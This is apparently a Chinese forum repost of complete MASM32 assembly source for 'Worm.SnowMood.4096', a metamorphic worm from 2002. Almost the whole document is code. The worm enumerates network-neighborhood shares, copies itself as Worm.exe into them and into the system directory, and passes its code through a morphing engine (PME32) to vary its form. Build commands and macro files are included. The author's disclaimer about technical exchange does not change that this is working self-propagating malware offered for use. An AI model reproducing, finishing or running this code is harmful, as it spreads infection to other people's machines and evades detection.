发新话题
打印

[转载]Worm.SnowMood.4096

[转载]Worm.SnowMood.4096

文章作者:pkxp
信息来源:www.retcvc.com


;-----------------------------------------------------------------
;病毒名称: Worm.SnowMood.4096(雪人的心)
;编写环境: WinXP,Masm32v6
;完成日期: 2002/11/10
;版  本: v1.0
;作   者:  pkxp/CVC.GB(E-Mail:PeekXP@163.com)
;警 告 :  仅供技术交流,若有其他用途,概与本人无关!
;        万一有转贴,请保持完整性,多谢!
;-----------------------------------------------------------------
;程序简介:
;1. 这是一个简单的变形蠕虫,通过网络邻居传播。
;2. 发现共享目录后,在其中创建一个Worm.exe,然后写入文件头和.data段
;  将自身代码变形后再写入。PME32是一个变形引擎。
;3. 程序本意是说明这类蠕虫的写法,无关部分一概省略,甚至连自启动、
;  随机数、垃圾代码都没有。
;4. ml  /c /coff snowmood.asm
;  link /SUBSYSTEM:WINDOWS snowmood.obj
;  /MERGE:.rdata=.data /MERGE:.text=.data
;-----------------------------------------------------------------

.386
.model flat,stdcall
option casemap:none
include useful.inc
include Macros.inc   

.data
pMem        dd  0
szWormName    db  '\Worm.exe',0
orig_worm     db  50 dup (0)
copy_worm     db  MAX_PATH dup (0)

P segment
VStart:
   i2   push   PAGE_READWRITE
   i2   push   MEM_RESERVE or MEM_COMMIT
   i2   push   VEnd-VStart
   i2   push   0
   i2   call   VirtualAlloc
   i3   mov    pMem,eax          ;分配空间,准备变形
   
   i3   mov    esi,offset VStart
   i3   mov    edi,pMem
   i2   push   VEnd-VStart
   i2   pop    ecx
   i2   rep    movsb           ;拷贝代码

   i2   push   50
   i2   push   offset orig_worm      
   i2   push   0
   i2   call   GetModuleFileName    ;得到程序路径        
   
   i2   push   MAX_PATH
   i2   push   offset copy_worm
   i2   call   GetSystemDirectory   ;得到系统目录
   
   i2   push   offset copy_worm
   i2   call   InfectDir         ;感染系统目录

   i2   push   NULL
   i2   call   EnumNetWork        ;感染网络邻居      
   i1   ret
   
;----------- 遍历网络邻居,找到目录后感染之 -----------
EnumNetWork PROC  pNetResource : DWORD
     
    LOCAL  hEnum     : DWORD
    LOCAL  Count     : DWORD
    LOCAL  BufferSize  : DWORD

       nop
       nop
       nop
       nop
    i1  pushad
    i2  push   0FFFFFFFFh
    i2  pop    Count
    i2  push   16*1024
    i2  pop    BufferSize
  
    i3  lea    eax , hEnum   
    i2  push   eax
    i2  push   pNetResource
    i2  push   0
    i2  push   RESOURCETYPE_DISK
    i2  push   RESOURCE_GLOBALNET
    i2  call   WNetOpenEnum
    i3  or    eax,eax
    i2  jnz    EN_Exit
     
    i2  push   PAGE_READWRITE
    i2  push   MEM_RESERVE or MEM_COMMIT
    i2  push   16*1024
    i2  push   0
    i2  call   VirtualAlloc      
    i3  or    eax,eax
    i2  jz    EN_Close
    i3  mov    pNetResource,eax   

    i3  lea    eax,BufferSize
    i2  push   eax
    i2  push   pNetResource
    i3  lea    eax,Count
    i2  push   eax
    i2  push   hEnum
    i2  call   WNetEnumResource                  
    i3  or    eax,eax
    i2  jnz    EN_Free
              
    i3  mov    ecx,Count
    i3  mov    edi,pNetResource
    assume  edi:ptr NETRESOURCEA
EN_Loop:
    i3  mov    eax,[edi].dwUsage
    i3  and    al,2
    i3  cmp    al , 2  
    i2  jnz    EN_Dir
EN_Container:
    i2  push   edi   
    i2  call   EnumNetWork   
    i2  jmp    EN_Next
EN_Dir:
    i3  mov    eax,[edi].lpRemoteName      
    i2  push   [edi].lpRemoteName
    i2  call   InfectDir
EN_Next:
    i3  add    edi,sizeof NETRESOURCE
    i2  loop   EN_Loop
EN_Free:
    i2  push   MEM_RELEASE
    i2  push   0
    i2  push   pNetResource  
    i2  call   VirtualFree            
EN_Close:  
    i2  push    hEnum
    i2  call    WNetCloseEnum      
EN_Exit:
    i1  popad
    i2  ret  4
EnumNetWork ENDP     


;------------------InfectDir---------------------------------
;输入:目录地址
;输出:在目录中创建一个蠕虫文件
;思路:创建文件,把自身映象的PE头和第一个段.data
;    写入文件,然后把自身代码变形,写入文件。
;------------------------------------------------------------

InfectDir  PROC   RemoteDir  : DWORD

    LOCAL ByteWrite:DWORD

       nop
       nop
       nop
       nop               ;补足10个字节
    i1  pushad
    i2  push   offset szWormName
    i2  push   RemoteDir
    i2  call   lstrcat                              
            
    i2  push   NULL
    i2  push   FILE_ATTRIBUTE_NORMAL
    i2  push   CREATE_ALWAYS
    i2  push   NULL
    i2  push   FILE_SHARE_READ+FILE_SHARE_WRITE
    i2  push   GENERIC_READ+GENERIC_WRITE
    i2  push   RemoteDir
    i2  call   CreateFile
    i3  or    eax,eax
    i2  jz    ID_Exit
    i3  xchg   eax,esi
     
    i3  lea    edi,ByteWrite
    i2  push   0
    i2  push   edi
    i2  push   200h         
    i2  push   00400000h
    i2  push   esi         
    i2  call   WriteFile            ;文件头
     
    i2  push   0
    i2  push   edi
    i2  push   400h         
    i2  push   00401000h
    i2  push   esi         
    i2  call   WriteFile            ;.data

    i2   push   (instrz-VStart)/10
    i2   pop    ecx
    i2   push   ebp
    i3   xor    ebp,ebp
    i3   mov    edi,pMem
    i2   call   PME32             ;instrz->VStart的代码变形
    i2   pop    ebp
  
    i3   lea    edi,ByteWrite
    i2   push   0
    i2   push   edi
    i2   push   0A00h        ;VEnd-VStart按FileAlignment对其
    i2   push   pMem
    i2   push   esi
    i2   call   WriteFile      ;Write code  
   
    i2   push   esi
    i2   call   CloseHandle
ID_Exit:      
    i1   popad
    i2   ret    4
     
InfectDir ENDP


;-------------------PME32--------------------------------
;输入:
;     EDI   -    变形的一段代码
;     ECX   -    待变形代码长度,按10字节计算
;输出:
;     EDI   -    移动到指令之后
;思路:
;     每次取出包含一条指令的10个字节,先试图变形
;     后插入垃圾代码.

PME32:
i1    pushad  
ExploreIns:
i2    push     ecx
i2    call     MORPHER   
i2    call     GARBAGER          ;insert garbage code
i2    pop      ecx
i2    loop     ExploreIns   
i1    popad
i1    ret

;---------------MORPHER---------------------------------------
;输入:
;     EDI   -    待变形的指令地址   
;输出:
;     EDI   -    移动到指令之后
;     EAX   -    新指令的长度
;思路:
;     将当前指令与指令集中所有指令比较,匹配后变形。
;--------------------------------------------------------------

MORPHER:                   ;start of morpher code

i3     lea    esi,[instrz+ebp]

analyse_instr:
i1     lodsd     
i3     test    eax,eax
i2     je     end_MORPHER    ;所有指令比较完毕,没有比配的
i3     add    eax,ebp       ;得到函数地址
i3     xchg    eax,edx       ;保存在edx中,eax还要用

explore_instr:
i3     xor    eax,eax
i1     lodsb               ;扩充用
i3     test    al,al
i2     je     end_instr      ;分析完一条指令了吗?
i2     push    edi
i2     dec    eax
i3     add    edi,eax
i1     cmpsb               ;比较一个字节
i2     pop    edi
i2     je     explore_instr    ;相等,继续

next_instr:                 ;已经有一个字节不相等,找下一条指令
i1     lodsb
i3     test    al,al
i2     jne     next_instr      ;找到指令结尾标志0
i2     jmp     analyse_instr    ;分析下一条指令

end_instr:
i2     push    edi
i2     call    edx          ;调用指令变形函数
i2     pop     eax
i3     sub     eax,edi
i2     neg     eax          ;得到新指令长度

end_MORPHER:
i1     ret

;-------- PUSHAD --------

shr_pushad:
i3     mov      al,60h          ;write single PUSHAD opcode
stosb_ret:
i1     stosb
i1     ret

exp_pushad:
i2     push     8             ;write   PUSH EAX
i2     pop      ecx            ;      PUSH ECX
i3     mov      al,50h          ;      ...
ep0:                        ;      PUSH EDI
i1     stosb
i2     inc      eax
i2     loop     ep0
i1     ret

;-------- POPAD --------

shr_popad:
i3     mov     al,61h            ;write single POPAD opcode
i2     jmp     stosb_ret

exp_popad:
i2     push    8                ;write    POP EDI
i2     pop     ecx              ;       POP ESI
i3     mov     al,5Fh            ;       ...
ep1:                          ;       POP EAX
i1     stosb
i2     dec     eax
i2     loop    ep1
i1     ret

;-------- RET -------------
shr_ret:
i3     mov     al,0C3h              ;shrink to RET
i2     jmp     stosb_ret

exp_ret:
i3     mov     eax,0FF04C483h   ;83C404 ADD ESP,4
i1     stosd                ;FF6424FC JMP DWORD PTR [ESP-4]
i3     mov     ax,2464h
i1     stosw
i3     mov     al,0FCh
i2     jmp     stosb_ret

;-------- INC EAX----------
shr_inceax:
i3     mov     al,40h          ;write single INC EAX opcode
i2     jmp     stosb_ret

exp_inceax:
i3     mov     al,83h          ;83 C0 01 ADD EAX,1
i1     stosb
i3     mov     ax,01c0h
i1     stosw
i1     ret

;-------- STOSD --------
shr_stosd:
i3     mov     al,0ABh          ;shrink to STOSD
i2     jmp     stosb_ret

exp_stosd:
i3     mov     eax,0C7830789h     ;create MOV   [EDI],EAX
i1     stosd                  ;     ADD    EDI,4
i3     mov     al,4
i2     jmp     stosb_ret


;-------------------- GARBAGER -------------------------------
;输入:
;     EAX    -     新指令长度
;     EDI    -     新指令下一个字节的地址
;输出:
;     EDI    -     下一条指令地址
;思路:
;     在10个字节空间里,已经有一条真正指令,edi指向其后在剩下
;     的空间内填充NOP.edi随之后移,指向了下一条真正指令。
;     如果eax=0,说明MORPHER匹配失败,那么要把edi加10。
;     指向下一条指令。
;---------------------------------------------------------------

GARBAGER:
i3    or    eax,eax   
i2    jz    G1
i3    mov   ecx,INSTRLEN
i3    sub   ecx,eax      
i3    mov   al,90h
G0:      
i1    stosb  
i2    loop  G0
i2    jmp   G2
G1:
i3    add   edi,INSTRLEN
G2:      
i1    ret

            
instrz:
;shrinker part
    dd     offset shr_pushad
    db     1,50h,2,51h,3,52h,4,53h,5,54h,6,55h,7,56h,8,57h,0
    dd     offset shr_popad
    db     1,5Fh,2,5Eh,3,5Dh,4,5Ch,5,5Bh,6,5Ah,7,59h,8,58h,0     
    dd     offset shr_ret
    db     1,83h,2,0C4h,3,04h,4,0FFh,5,64h,6,24h,7,0FCh,0
    dd     offset shr_inceax
    db     1,83h,2,0C0h,3,01h,0
    dd     offset shr_stosd
    db     1,89h,2,07h,3,83h,4,0C7h,5,04h,0         
   
;expander part
    dd     offset exp_pushad
    db     1,60h,0
    dd     offset exp_popad
    db     1,61h,0
    dd     offset exp_ret
    db     1,0C3h,0
    dd     offset exp_inceax
    db     1,40h,0
    dd     offset exp_stosd
    db     1,0ABh,0
   
    dd     0        ;结束标志

VEnd:
P ends
end VStart

//macros.inc
INSTRLEN  equ  10

i3   macro  code1_2,code3
   local  s,e
s:   
   code1_2 , code3          ;e.g. MOV EAX,EBX
e:   
   db    INSTRLEN-(e-s) dup (90h)
endm

i2   macro   code1,code2
   local   s,e
s:   
   code1   code2                ;e.g. INC EAX
e:   
   db     INSTRLEN-(e-s) dup (90h)
endm

i1   macro    code1
   local    s,e
s:   
   code1                    ;e.g. STOSD
e:   
   db    INSTRLEN-(e-s) dup (90h)
endm
//useful.inc
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

@pushsz MACRO  str
LOCAL next
call  next
db   str,0
next:
ENDM

TOP

发新话题